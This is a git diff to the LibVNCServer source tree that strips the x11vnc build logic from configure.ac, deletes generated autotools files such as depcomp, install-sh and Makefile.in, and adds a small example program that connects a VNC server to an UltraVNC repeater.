- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
- fi
- fi
-
- if test "x$with_xinerama" != "xno"; then
- AC_CHECK_LIB(Xinerama, XineramaQueryScreens,
- X_PRELIBS="$X_PRELIBS -lXinerama"
- [AC_DEFINE(HAVE_LIBXINERAMA)], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
- fi
-
- if test "x$with_xrandr" != "xno"; then
- AC_CHECK_LIB(Xrandr, XRRSelectInput,
- X_PRELIBS="$X_PRELIBS -lXrandr"
- [AC_DEFINE(HAVE_LIBXRANDR) HAVE_LIBXRANDR="true"], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
- fi
-
- if test "x$with_xfixes" != "xno"; then
- AC_CHECK_LIB(Xfixes, XFixesGetCursorImage,
- X_PRELIBS="$X_PRELIBS -lXfixes"
- [AC_DEFINE(HAVE_LIBXFIXES) HAVE_LIBXFIXES="true"], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
- fi
-
- if test "x$with_xdamage" != "xno"; then
- AC_CHECK_LIB(Xdamage, XDamageQueryExtension,
- X_PRELIBS="$X_PRELIBS -lXdamage"
- [AC_DEFINE(HAVE_LIBXDAMAGE) HAVE_LIBXDAMAGE="true"], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
- fi
-
- if test ! -z "$HAVE_LIBXFIXES" -o ! -z "$HAVE_LIBXDAMAGE"; then
- # need /usr/sfw/lib in RPATH for Solaris 10 and later
- case `(uname -sr) 2>/dev/null` in
- "SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS -R/usr/sfw/lib" ;;
- esac
- fi
- if test ! -z "$HAVE_LIBXRANDR"; then
- # also need /usr/X11/include for Solaris 10 10/08 and later
- case `(uname -sr) 2>/dev/null` in
- "SunOS 5"*) CPPFLAGS="$CPPFLAGS -I/usr/X11/include" ;;
- esac
- fi
-
- X_LIBS="$X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS"
- fi
- # end x11vnc only.
-fi
-
-AC_SUBST(X_LIBS)
-AM_CONDITIONAL(HAVE_X11, test $HAVE_X11 != "false")
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
-
-if test "x$HAVE_X11" = "xfalse" -a "x$with_x" != "xno"; then
- AC_MSG_ERROR([
-==========================================================================
-*** A working X window system build environment is required to build ***
-x11vnc. Make sure any required X development packages are installed.
-If they are installed in non-standard locations, one can use the
---x-includes=DIR and --x-libraries=DIR configure options or set the
-CPPFLAGS and LDFLAGS environment variables to indicate where the X
-window system header files and libraries may be found. On 64+32 bit
-machines you may need to point to lib64 or lib32 directories to pick up
-the correct word size.
-
-If you want to build x11vnc without X support (e.g. for -rawfb use only
-or for native Mac OS X), specify the --without-x configure option.
-==========================================================================
-])
-fi
-
-if test "x$HAVE_X11" = "xtrue" -a "x$HAVE_XTEST" != "xtrue"; then
- AC_MSG_WARN([
-==========================================================================
-*** A working build environment for the XTEST extension was not found ***
-(libXtst). An x11vnc built this way will be *ONLY BARELY USABLE*.
-You will be able to move the mouse but not click or type. There can
-also be deadlocks if an application grabs the X server.
-
-It is recommended that you install the necessary development packages
-for XTEST (perhaps it is named something like libxtst-dev) and run
-configure again.
-==========================================================================
-])
- sleep 5
-fi
-
-if test "x$with_v4l" != "xno"; then
- AC_CHECK_HEADER(linux/videodev.h,
- [AC_DEFINE(HAVE_LINUX_VIDEODEV_H)],,)
-fi
-if test "x$with_fbdev" != "xno"; then
- AC_CHECK_HEADER(linux/fb.h,
- [AC_DEFINE(HAVE_LINUX_FB_H)],,)
-fi
-if test "x$with_uinput" != "xno"; then
- AC_CHECK_HEADER(linux/input.h,
- [AC_DEFINE(HAVE_LINUX_INPUT_H) HAVE_LINUX_INPUT_H="true"],,)
- if test "x$HAVE_LINUX_INPUT_H" = "xtrue"; then
- AC_CHECK_HEADER(linux/uinput.h,
- [AC_DEFINE(HAVE_LINUX_UINPUT_H)],, [#include <linux/input.h>])
- fi
-fi
-
-if test "x$with_macosx_native" != "xno"; then
- AC_DEFINE(HAVE_MACOSX_NATIVE_DISPLAY)
-fi
-
-# Check for OS X opengl header
-AC_CHECK_HEADER(OpenGL/OpenGL.h,
- [AC_DEFINE(HAVE_MACOSX_OPENGL_H) HAVE_MACOSX_OPENGL_H="true"],,)
-
-AH_TEMPLATE(HAVE_AVAHI, [Avahi/mDNS client build environment present])
-AC_ARG_WITH(avahi,
-[ --without-avahi disable support for Avahi/mDNS]
-[ --with-avahi=DIR use avahi include/library files in DIR],,)
-if test "x$with_avahi" != "xno"; then
- printf "checking for avahi... "
- if test ! -z "$with_avahi" -a "x$with_avahi" != "xyes"; then
- AVAHI_CFLAGS="-I$with_avahi/include"
- AVAHI_LIBS="-L$with_avahi/lib -lavahi-common -lavahi-client"
- echo "using $with_avahi"
- with_avahi=yes
- elif pkg-config --atleast-version=0.6.4 avahi-client >/dev/null 2>&1; then
- AVAHI_CFLAGS=`pkg-config --cflags avahi-client`
- AVAHI_LIBS=`pkg-config --libs avahi-client`
- with_avahi=yes
- echo yes
- else
- with_avahi=no
- echo no
- fi
-fi
-if test "x$with_avahi" = "xyes"; then
- AC_DEFINE(HAVE_AVAHI)
- AC_SUBST(AVAHI_CFLAGS)
- AC_SUBST(AVAHI_LIBS)
-fi
-
-fi
-# end x11vnc only.
-
-# only used in x11vnc/Makefile.am but needs to always be defined:
-AM_CONDITIONAL(OSX_OPENGL, test "$HAVE_MACOSX_OPENGL_H" = "true")
-
-# Checks for libraries.
-
-if test ! -z "$with_system_libvncserver" -a "x$with_system_libvncserver" != "xno"; then
- printf "checking for system libvncserver... "
- vneed="0.9.1"
- if test "X$VNEED" != "X"; then
- vneed=$VNEED
- fi
- if test "x$with_system_libvncserver" != "xyes"; then
- rflag=""
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- rflag="-Xlinker -R$with_system_libvncserver/lib"
- else
- rflag="-R$with_system_libvncserver/lib"
- fi
- cmd="$with_system_libvncserver/bin/libvncserver-config"
- if $cmd --version 1>/dev/null 2>&1; then
- cvers=`$cmd --version 2>/dev/null`
- cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
- nscore=`echo "$vneed" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
-
- if test $cscore -lt $nscore; then
- echo "no"
- with_system_libvncserver=no
- AC_MSG_ERROR([
-==========================================================================
-*** Need libvncserver version $vneed, have version $cvers ***
-You are building with a system installed libvncserver and it is not
-new enough.
-==========================================================================
-])
- else
- SYSTEM_LIBVNCSERVER_CFLAGS="-I$with_system_libvncserver/include"
- SYSTEM_LIBVNCSERVER_LIBS="-L$with_system_libvncserver/lib $rflag -lvncserver -lvncclient"
- echo "using $with_system_libvncserver"
- with_system_libvncserver=yes
- fi
- else
- echo " *** cannot run $cmd *** " 1>&2
- with_system_libvncserver=no
- echo no
- fi
- elif libvncserver-config --version 1>/dev/null 2>&1; then
- rflag=""
- rprefix=`libvncserver-config --prefix`
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- rflag=" -Xlinker -R$rprefix/lib "
- else
- rflag=" -R$rprefix/lib "
- fi
- cvers=`libvncserver-config --version 2>/dev/null`
- cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
- nscore=`echo "$vneed" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
-
- if test $cscore -lt $nscore; then
- echo "no"
- AC_MSG_ERROR([
-==========================================================================
-*** Need libvncserver version $vneed, have version $cvers ***
-You are building with a system installed libvncserver and it is not
-new enough.
-==========================================================================
-])
- else
- SYSTEM_LIBVNCSERVER_CFLAGS=`libvncserver-config --cflags`
- SYSTEM_LIBVNCSERVER_LIBS="$rflag"`libvncserver-config --libs`
- with_system_libvncserver=yes
- echo yes
- fi
- else
- with_system_libvncserver=no
- echo no
- fi
-fi
-
-if test "x$with_system_libvncserver" = "xyes"; then
- AC_DEFINE(HAVE_SYSTEM_LIBVNCSERVER)
- AC_SUBST(SYSTEM_LIBVNCSERVER_CFLAGS)
- AC_SUBST(SYSTEM_LIBVNCSERVER_LIBS)
-fi
-AM_CONDITIONAL(HAVE_SYSTEM_LIBVNCSERVER, test "x$with_system_libvncserver" = "xyes")
AC_ARG_WITH(jpeg,
@@ -659,7 +304,6 @@
LDFLAGS="$saved_LDFLAGS"
fi
fi
- if test "$build_x11vnc" = "yes"; then
if test "x$HAVE_PNGLIB_H" != "xtrue"; then
AC_MSG_WARN([
==========================================================================
@@ -673,7 +317,6 @@
])
sleep 5
fi
- fi
fi
AC_ARG_WITH(libz,
@@ -706,7 +349,6 @@
LDFLAGS="$saved_LDFLAGS"
fi
fi
- if test "$build_x11vnc" = "yes"; then
if test "x$HAVE_ZLIB_H" != "xtrue"; then
AC_MSG_WARN([
==========================================================================
@@ -719,7 +361,6 @@
])
sleep 5
fi
- fi
fi
AC_ARG_WITH(pthread,
@@ -755,7 +396,7 @@
with_websockets=""
fi
if test "x$with_websockets" = "xyes"; then
- LIBS="$LIBS -lresolv $SSL_LIBS"
+ LIBS="$LIBS $RESOLV_LIB $SSL_LIBS"
AC_DEFINE(WITH_WEBSOCKETS)
fi
AM_CONDITIONAL(WITH_WEBSOCKETS, test "$with_websockets" = "yes")
@@ -871,12 +512,7 @@
# Checks for header files.
AC_HEADER_STDC
-AC_CHECK_HEADERS([arpa/inet.h fcntl.h netdb.h netinet/in.h stdlib.h string.h sys/socket.h sys/time.h sys/timeb.h syslog.h unistd.h ws2tcpip.h])
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
- AC_CHECK_HEADERS([pwd.h sys/wait.h utmpx.h termios.h sys/ioctl.h sys/stropts.h])
-fi
+AC_CHECK_HEADERS([arpa/inet.h endian.h fcntl.h netdb.h netinet/in.h stdlib.h string.h sys/endian.h sys/socket.h sys/time.h sys/timeb.h syslog.h unistd.h ws2tcpip.h])
# Checks for typedefs, structures, and compiler characteristics.
AC_C_CONST
@@ -885,12 +521,12 @@
AC_TYPE_SIZE_T
AC_HEADER_TIME
AC_HEADER_SYS_WAIT
-AC_TYPE_SOCKLEN_T
+AX_TYPE_SOCKLEN_T
if test ! -d ./rfb; then
echo "creating subdir ./rfb for rfbint.h"
mkdir ./rfb
fi
-AC_CREATE_STDINT_H(rfb/rfbint.h)
+AX_CREATE_STDINT_H(rfb/rfbint.h)
AC_CACHE_CHECK([for in_addr_t],
vnc_cv_inaddrt, [
AC_TRY_COMPILE([#include <sys/types.h>
@@ -919,10 +555,6 @@
fi
AC_CHECK_FUNCS([ftime gethostbyname gethostname gettimeofday inet_ntoa memmove memset mmap mkfifo select socket strchr strcspn strdup strerror strstr])
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
- AC_CHECK_FUNCS([setsid setpgrp getpwuid getpwnam getspnam getuid geteuid setuid setgid seteuid setegid initgroups waitpid setutxent grantpt shmat])
-fi
# check, if shmget is in cygipc.a
AC_CHECK_LIB(cygipc,shmget)
@@ -960,7 +592,6 @@
done
echo "$RPMSOURCEDIR"
AM_CONDITIONAL(HAVE_RPM, test "$RPMSOURCEDIR" != "NOT-FOUND")
-AM_CONDITIONAL(WITH_X11VNC, test "$build_x11vnc" = "yes")
AC_SUBST(RPMSOURCEDIR)
AC_CONFIG_FILES([Makefile
@@ -969,7 +600,6 @@
libvncserver/Makefile
examples/Makefile
examples/android/Makefile
- vncterm/Makefile
webclients/Makefile
webclients/java-applet/Makefile
webclients/java-applet/ssl/Makefile
@@ -978,36 +608,7 @@
test/Makefile
libvncserver-config
LibVNCServer.spec])
-#
-# x11vnc only:
-#
-if test "$build_x11vnc" = "yes"; then
- #
- # NOTE: if you are using the LibVNCServer-X.Y.Z.tar.gz source
- # tarball and nevertheless want to run autoconf (i.e. aclocal,
- # autoheader, automake, autoconf) AGAIN (perhaps you have a
- # special target system, e.g. embedded) then you will need to
- # comment out the following 'AC_CONFIG_FILES' line to avoid
- # automake error messages like:
- #
- # configure.ac:690: required file `x11vnc/Makefile.in' not found
- #
- AC_CONFIG_FILES([x11vnc/Makefile x11vnc/misc/Makefile x11vnc/misc/turbovnc/Makefile])
- if test ! -z "$with_system_libvncserver" -a "x$with_system_libvncserver" != "xno"; then
- # need to move local tarball rfb headers aside:
- hdrs="rfb.h rfbclient.h rfbproto.h rfbregion.h rfbint.h"
- echo "with-system-libvncserver: moving aside headers $hdrs"
- for hdr in $hdrs
- do
- if test -f "rfb/$hdr"; then
- echo "with-system-libvncserver: moving rfb/$hdr to rfb/$hdr.ORIG"
- mv rfb/$hdr rfb/$hdr.ORIG
- fi
- done
- echo "with-system-libvncserver: *NOTE* move them back manually to start over."
- fi
-fi
AC_CONFIG_COMMANDS([chmod-libvncserver-config],[chmod a+x libvncserver-config])
AC_OUTPUT
diff --git a/depcomp b/depcomp
deleted file mode 100755
index 25a39e6..0000000
--- a/depcomp
+++ /dev/null
@@ -1,708 +0,0 @@
-#! /bin/sh
-# depcomp - compile a program generating dependencies as side-effects
-
-scriptversion=2012-03-27.16; # UTC
-
-# Copyright (C) 1999, 2000, 2003, 2004, 2005, 2006, 2007, 2009, 2010,
-# 2011, 2012 Free Software Foundation, Inc.
-
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2, or (at your option)
-# any later version.
-
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
-# Originally written by Alexandre Oliva <oliva@dcc.unicamp.br>.
-
-case $1 in
- '')
- echo "$0: No command. Try '$0 --help' for more information." 1>&2
- exit 1;
- ;;
- -h | --h*)
- cat <<\EOF
-Usage: depcomp [--help] [--version] PROGRAM [ARGS]
-
-Run PROGRAMS ARGS to compile a file, generating dependencies
-as side-effects.
-
-Environment variables:
- depmode Dependency tracking mode.
- source Source file read by 'PROGRAMS ARGS'.
- object Object file output by 'PROGRAMS ARGS'.
- DEPDIR directory where to store dependencies.
- depfile Dependency file to output.
- tmpdepfile Temporary file to use when outputting dependencies.
- libtool Whether libtool is used (yes/no).
-
-Report bugs to <bug-automake@gnu.org>.
-EOF
- exit $?
- ;;
- -v | --v*)
- echo "depcomp $scriptversion"
- exit $?
- ;;
-esac
-
-# A tabulation character.
-tab=' '
-# A newline character.
-nl='
-'
-
-if test -z "$depmode" || test -z "$source" || test -z "$object"; then
- echo "depcomp: Variables source, object and depmode must be set" 1>&2
- exit 1
-fi
-
-# Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po.
-depfile=${depfile-`echo "$object" |
- sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po|'`}
-tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`}
-
-rm -f "$tmpdepfile"
-
-# Some modes work just like other modes, but use different flags. We
-# parameterize here, but still list the modes in the big case below,
-# to make depend.m4 easier to write. Note that we *cannot* use a case
-# here, because this file can only contain one case statement.
-if test "$depmode" = hp; then
- # HP compiler uses -M and no extra arg.
- gccflag=-M
- depmode=gcc
-fi
-
-if test "$depmode" = dashXmstdout; then
- # This is just like dashmstdout with a different argument.
- dashmflag=-xM
- depmode=dashmstdout
-fi
-
-cygpath_u="cygpath -u -f -"
-if test "$depmode" = msvcmsys; then
- # This is just like msvisualcpp but w/o cygpath translation.
- # Just convert the backslash-escaped backslashes to single forward
- # slashes to satisfy depend.m4
- cygpath_u='sed s,\\\\,/,g'
- depmode=msvisualcpp
-fi
-
-if test "$depmode" = msvc7msys; then
- # This is just like msvc7 but w/o cygpath translation.
- # Just convert the backslash-escaped backslashes to single forward
- # slashes to satisfy depend.m4
- cygpath_u='sed s,\\\\,/,g'
- depmode=msvc7
-fi
-
-if test "$depmode" = xlc; then
- # IBM C/C++ Compilers xlc/xlC can output gcc-like dependency informations.
- gccflag=-qmakedep=gcc,-MF
- depmode=gcc
-fi
-
-case "$depmode" in
-gcc3)
-## gcc 3 implements dependency tracking that does exactly what
-## we want. Yay! Note: for some reason libtool 1.4 doesn't like
-## it if -MD -MP comes after the -MF stuff. Hmm.
-## Unfortunately, FreeBSD c89 acceptance of flags depends upon
-## the command line argument order; so add the flags where they
-## appear in depend2.am. Note that the slowdown incurred here
-## affects only configure: in makefiles, %FASTDEP% shortcuts this.
- for arg
- do
- case $arg in
- -c) set fnord "$@" -MT "$object" -MD -MP -MF "$tmpdepfile" "$arg" ;;
- *) set fnord "$@" "$arg" ;;
- esac
- shift # fnord
- shift # $arg
- done
- "$@"
- stat=$?
- if test $stat -eq 0; then :
- else
- rm -f "$tmpdepfile"
- exit $stat
- fi
- mv "$tmpdepfile" "$depfile"
- ;;
-
-gcc)
-## There are various ways to get dependency output from gcc. Here's
-## why we pick this rather obscure method:
-## - Don't want to use -MD because we'd like the dependencies to end
-## up in a subdir. Having to rename by hand is ugly.
-## (We might end up doing this anyway to support other compilers.)
-## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like
-## -MM, not -M (despite what the docs say).
-## - Using -M directly means running the compiler twice (even worse
-## than renaming).
- if test -z "$gccflag"; then
- gccflag=-MD,
- fi
- "$@" -Wp,"$gccflag$tmpdepfile"
- stat=$?
- if test $stat -eq 0; then :
- else
- rm -f "$tmpdepfile"
- exit $stat
- fi
- rm -f "$depfile"
- echo "$object : \\" > "$depfile"
- alpha=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
-## The second -e expression handles DOS-style file names with drive letters.
- sed -e 's/^[^:]*: / /' \
- -e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile"
-## This next piece of magic avoids the "deleted header file" problem.
-## The problem is that when a header file which appears in a .P file
-## is deleted, the dependency causes make to die (because there is
-## typically no way to rebuild the header). We avoid this by adding
-## dummy dependencies for each header file. Too bad gcc doesn't do
-## this for us directly.
- tr ' ' "$nl" < "$tmpdepfile" |
-## Some versions of gcc put a space before the ':'. On the theory
-## that the space means something, we add a space to the output as
-## well. hp depmode also adds that space, but also prefixes the VPATH
-## to the object. Take care to not repeat it in the output.
-## Some versions of the HPUX 10.20 sed can't process this invocation
-## correctly. Breaking it into two sed invocations is a workaround.
- sed -e 's/^\\$//' -e '/^$/d' -e "s|.*$object$||" -e '/:$/d' \
- | sed -e 's/$/ :/' >> "$depfile"
- rm -f "$tmpdepfile"
- ;;
-
-hp)
- # This case exists only to let depend.m4 do its work. It works by
- # looking at the text of this script. This case will never be run,
- # since it is checked for above.
- exit 1
- ;;
-
-sgi)
- if test "$libtool" = yes; then
- "$@" "-Wp,-MDupdate,$tmpdepfile"
- else
- "$@" -MDupdate "$tmpdepfile"
- fi
- stat=$?
- if test $stat -eq 0; then :
- else
- rm -f "$tmpdepfile"
- exit $stat
- fi
- rm -f "$depfile"
-
- if test -f "$tmpdepfile"; then # yes, the sourcefile depend on other files
- echo "$object : \\" > "$depfile"
-
- # Clip off the initial element (the dependent). Don't try to be
- # clever and replace this with sed code, as IRIX sed won't handle
- # lines with more than a fixed number of characters (4096 in
- # IRIX 6.2 sed, 8192 in IRIX 6.5). We also remove comment lines;
- # the IRIX cc adds comments like '#:fec' to the end of the
- # dependency line.
- tr ' ' "$nl" < "$tmpdepfile" \
- | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' | \
- tr "$nl" ' ' >> "$depfile"
- echo >> "$depfile"
-
- # The second pass generates a dummy entry for each header file.
- tr ' ' "$nl" < "$tmpdepfile" \
- | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \
- >> "$depfile"
- else
- # The sourcefile does not contain any dependencies, so just
- # store a dummy comment line, to avoid errors with the Makefile
- # "include basename.Plo" scheme.
- echo "#dummy" > "$depfile"
- fi
- rm -f "$tmpdepfile"
- ;;
-
-xlc)
- # This case exists only to let depend.m4 do its work. It works by
- # looking at the text of this script. This case will never be run,
- # since it is checked for above.
- exit 1
- ;;
-
-aix)
- # The C for AIX Compiler uses -M and outputs the dependencies
- # in a .u file. In older versions, this file always lives in the
- # current directory. Also, the AIX compiler puts '$object:' at the
- # start of each line; $object doesn't have directory information.
- # Version 6 uses the directory in both cases.
- dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
- test "x$dir" = "x$object" && dir=
- base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
- if test "$libtool" = yes; then
- tmpdepfile1=$dir$base.u
- tmpdepfile2=$base.u
- tmpdepfile3=$dir.libs/$base.u
- "$@" -Wc,-M
- else
- tmpdepfile1=$dir$base.u
- tmpdepfile2=$dir$base.u
- tmpdepfile3=$dir$base.u
- "$@" -M
- fi
- stat=$?
-
- if test $stat -eq 0; then :
- else
- rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
- exit $stat
- fi
-
- for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
- do
- test -f "$tmpdepfile" && break
- done
- if test -f "$tmpdepfile"; then
- # Each line is of the form 'foo.o: dependent.h'.
- # Do two passes, one to just change these to
- # '$object: dependent.h' and one to simply 'dependent.h:'.
- sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile"
- sed -e 's,^.*\.[a-z]*:['"$tab"' ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
- else
- # The sourcefile does not contain any dependencies, so just
- # store a dummy comment line, to avoid errors with the Makefile
- # "include basename.Plo" scheme.
- echo "#dummy" > "$depfile"
- fi
- rm -f "$tmpdepfile"
- ;;
-
-icc)
- # Intel's C compiler anf tcc (Tiny C Compiler) understand '-MD -MF file'.
- # However on
- # $CC -MD -MF foo.d -c -o sub/foo.o sub/foo.c
- # ICC 7.0 will fill foo.d with something like
- # foo.o: sub/foo.c
- # foo.o: sub/foo.h
- # which is wrong. We want
- # sub/foo.o: sub/foo.c
- # sub/foo.o: sub/foo.h
- # sub/foo.c:
- # sub/foo.h:
- # ICC 7.1 will output
- # foo.o: sub/foo.c sub/foo.h
- # and will wrap long lines using '\':
- # foo.o: sub/foo.c ... \
- # sub/foo.h ... \
- # ...
- # tcc 0.9.26 (FIXME still under development at the moment of writing)
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index 9ce06a8..0000000
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+++ /dev/null
@@ -1 +0,0 @@
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deleted file mode 100644
index 9ce06a8..0000000
--- a/examples/.deps/blooptest.Po
+++ /dev/null
@@ -1 +0,0 @@
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deleted file mode 100644
index 9ce06a8..0000000
--- a/examples/.deps/camera.Po
+++ /dev/null
@@ -1 +0,0 @@
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deleted file mode 100644
index 9ce06a8..0000000
--- a/examples/.deps/colourmaptest.Po
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@@ -1 +0,0 @@
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deleted file mode 100644
index 9ce06a8..0000000
--- a/examples/.deps/example.Po
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deleted file mode 100644
index 9ce06a8..0000000
--- a/examples/.deps/filetransfer.Po
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@@ -1 +0,0 @@
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deleted file mode 100644
index 9ce06a8..0000000
--- a/examples/.deps/fontsel.Po
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deleted file mode 100644
index 9ce06a8..0000000
--- a/examples/.deps/mac.Po
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index 9ce06a8..0000000
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index 9ce06a8..0000000
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index 9ce06a8..0000000
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@@ -1 +0,0 @@
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index 9ce06a8..0000000
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index 9ce06a8..0000000
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index 9ce06a8..0000000
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index 9ce06a8..0000000
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+ zippy repeater
diff --git a/examples/Makefile.in b/examples/Makefile.in
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-all-am: Makefile $(PROGRAMS)
-installdirs:
-install: install-am
-install-exec: install-exec-am
-install-data: install-data-am
-uninstall: uninstall-am
-
-install-am: all-am
- @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
-
-installcheck: installcheck-am
-install-strip:
- if test -z '$(STRIP)'; then \
- $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
- install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
- install; \
- else \
- $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
- install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
- "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \
- fi
-mostlyclean-generic:
-
-clean-generic:
-
-distclean-generic:
- -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
- -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES)
-
-maintainer-clean-generic:
- @echo "This command is intended for maintainers to use"
- @echo "it deletes files that may require special tools to rebuild."
-clean: clean-am
-
-clean-am: clean-generic clean-libtool clean-noinstPROGRAMS \
- mostlyclean-am
-
-distclean: distclean-am
- -rm -rf ./$(DEPDIR)
- -rm -f Makefile
-distclean-am: clean-am distclean-compile distclean-generic \
- distclean-tags
-
-dvi: dvi-am
-
-dvi-am:
-
-html: html-am
-
-html-am:
-
-info: info-am
-
-info-am:
-
-install-data-am:
-
-install-dvi: install-dvi-am
-
-install-dvi-am:
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-
-install-html: install-html-am
-
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-install-info: install-info-am
-
-install-info-am:
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-install-man:
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-install-pdf: install-pdf-am
-
-install-pdf-am:
-
-install-ps: install-ps-am
-
-install-ps-am:
-
-installcheck-am:
-
-maintainer-clean: maintainer-clean-am
- -rm -rf ./$(DEPDIR)
- -rm -f Makefile
-maintainer-clean-am: distclean-am maintainer-clean-generic
-
-mostlyclean: mostlyclean-am
-
-mostlyclean-am: mostlyclean-compile mostlyclean-generic \
- mostlyclean-libtool
-
-pdf: pdf-am
-
-pdf-am:
-
-ps: ps-am
-
-ps-am:
-
-uninstall-am:
-
-.MAKE: install-am install-strip
-
-.PHONY: CTAGS GTAGS all all-am check check-am clean clean-generic \
- clean-libtool clean-noinstPROGRAMS ctags distclean \
- distclean-compile distclean-generic distclean-libtool \
- distclean-tags distdir dvi dvi-am html html-am info info-am \
- install install-am install-data install-data-am install-dvi \
- install-dvi-am install-exec install-exec-am install-html \
- install-html-am install-info install-info-am install-man \
- install-pdf install-pdf-am install-ps install-ps-am \
- install-strip installcheck installcheck-am installdirs \
- maintainer-clean maintainer-clean-generic mostlyclean \
- mostlyclean-compile mostlyclean-generic mostlyclean-libtool \
- pdf pdf-am ps ps-am tags uninstall uninstall-am
-
-
-# Tell versions [3.59,3.63) of GNU make to not export all variables.
-# Otherwise a system limit (for SysV at least) may be exceeded.
-.NOEXPORT:
diff --git a/examples/example.c b/examples/example.c
index fc156c0..617e7ad 100644
--- a/examples/example.c
+++ b/examples/example.c
@@ -66,6 +66,7 @@
static void clientgone(rfbClientPtr cl)
{
free(cl->clientData);
+ cl->clientData = NULL;
}
static enum rfbNewClientAction newclient(rfbClientPtr cl)
diff --git a/examples/repeater.c b/examples/repeater.c
new file mode 100644
index 0000000..cf0350f
--- /dev/null
+++ b/examples/repeater.c
@@ -0,0 +1,68 @@
+/* This example shows how to connect to an UltraVNC repeater. */
+
+#include <rfb/rfb.h>
+
+static void clientGone(rfbClientPtr cl)
+{
+ rfbShutdownServer(cl->screen, TRUE);
+}
+
+int main(int argc,char** argv)
+{
+ char *repeaterHost;
+ int repeaterPort, sock;
+ char id[250];
+ rfbClientPtr cl;
+
+ int i,j;
+ uint16_t* f;
+
+ /* Parse command-line arguments */
+ if (argc < 3) {
+ fprintf(stderr,
+ "Usage: %s <id> <repeater-host> [<repeater-port>]\n", argv[0]);
+ exit(1);
+ }
+ snprintf(id, sizeof(id) - 1, "ID:%s", argv[1]);
+ repeaterHost = argv[2];
+ repeaterPort = argc < 4 ? 5500 : atoi(argv[3]);
+
+ /* The initialization is identical to simple15.c */
+ rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,400,300,5,3,2);
+ if(!server)
+ return 0;
+ server->frameBuffer=(char*)malloc(400*300*2);
+ f=(uint16_t*)server->frameBuffer;
+ for(j=0;j<300;j++)
+ for(i=0;i<400;i++)
+ f[j*400+i]=/* red */ ((j*32/300) << 10) |
+ /* green */ (((j+400-i)*32/700) << 5) |
+ /* blue */ ((i*32/400));
+
+ /* Now for the repeater-specific part: */
+ server->port = -1; /* do not listen on any port */
+ server->ipv6port = -1; /* do not listen on any port */
+
+ sock = rfbConnectToTcpAddr(repeaterHost, repeaterPort);
+ if (sock < 0) {
+ perror("connect to repeater");
+ return 1;
+ }
+ if (write(sock, id, sizeof(id)) != sizeof(id)) {
+ perror("writing id");
+ return 1;
+ }
+ cl = rfbNewClient(server, sock);
+ if (!cl) {
+ perror("new client");
+ return 1;
+ }
+ cl->reverseConnection = 0;
+ cl->clientGoneHook = clientGone;
+
+ /* Run the server */
+ rfbInitServer(server);
+ rfbRunEventLoop(server,-1,FALSE);
+
+ return 0;
+}
diff --git a/install-sh b/install-sh
deleted file mode 100755
index a9244eb..0000000
--- a/install-sh
+++ /dev/null
@@ -1,527 +0,0 @@
-#!/bin/sh
-# install - install a program, script, or datafile
-
-scriptversion=2011-01-19.21; # UTC
-
-# This originates from X11R5 (mit/util/scripts/install.sh), which was
-# later released in X11R6 (xc/config/util/install.sh) with the
-# following copyright and license.
-#
-# Copyright (C) 1994 X Consortium
-#
